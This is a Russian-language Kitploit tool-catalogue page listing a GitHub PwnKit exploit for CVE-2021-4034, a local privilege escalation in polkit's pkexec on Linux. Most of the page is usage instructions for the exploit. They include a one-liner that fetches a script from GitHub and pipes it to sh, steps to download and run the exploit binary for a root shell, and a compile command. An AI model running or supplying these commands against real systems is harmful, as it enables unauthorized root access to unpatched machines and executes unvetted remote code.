Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Exploiting-PwnKit-CVE-2021-4034- | Kitploit
Инструменты/GitHubGitHub/x-projetion/exploiting-pwnkit-cve-2021-4034-
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHubx-projetion/exploiting-pwnkit-cve-2021-4034-

Exploiting-PwnKit-CVE-2021-4034-

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
2 лет назадЕщё не проверено

PwnKit

Автономный эксплойт для CVE-2021-4034 - локальное повышение привилегий через Pkexec

Использование

Должен работать из коробки на уязвимых дистрибутивах Linux на основе Ubuntu, Debian, Fedora и CentOS.

root@kitploit:~
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Вручную

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # интерактивная оболочка
./PwnKit 'id' # одна команда

Исправленная версия

Запуск эксплойта на исправленных версиях даст следующий вывод.

Сборка

root@kitploit:~
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

Технические детали

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

Ссылки

  • https://github.com/arthepsy/CVE-2021-4034/
Скачать инструмент